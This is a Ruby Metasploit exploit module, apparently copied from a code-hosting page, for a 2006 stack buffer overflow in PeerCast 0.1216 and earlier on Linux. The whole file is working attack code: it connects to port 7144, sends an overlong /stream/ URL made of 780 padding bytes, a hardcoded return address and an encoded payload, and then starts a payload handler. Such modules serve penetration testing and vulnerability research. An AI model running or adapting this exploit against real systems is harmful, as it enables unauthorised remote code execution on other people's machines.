66 lines
1.5 KiB
Ruby
66 lines
1.5 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Linux::Http::PeerCast_URL < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PeerCast <= 0.1216 URL Handling Buffer Overflow (linux)',
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'Description' => %q{
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This module exploits a stack overflow in PeerCast <= v0.1216.
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The vulnerability is caused due to a boundary error within the
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handling of URL parameters.
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},
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'Author' => [ 'y0 [at] w00t-shell.net' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['OSVDB', '23777'],
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['BID', '17040'],
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['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 200,
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'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
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'MinNops' => 64,
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},
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Targets' =>
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[
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['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],
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],
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'DisclosureDate' => 'Mar 8 2006'))
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register_options( [ Opt::RPORT(7144) ], self.class )
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end
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def exploit
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connect
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pat = Rex::Text.rand_text_alphanumeric(780)
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pat << [target.ret].pack('V')
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pat << payload.encoded
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uri = '/stream/?' + pat
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res = "GET #{uri} HTTP/1.0\r\n\r\n"
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print_status("Trying target address 0x%.8x..." % target.ret)
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sock.put(res)
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handler
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disconnect
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end
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end
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end
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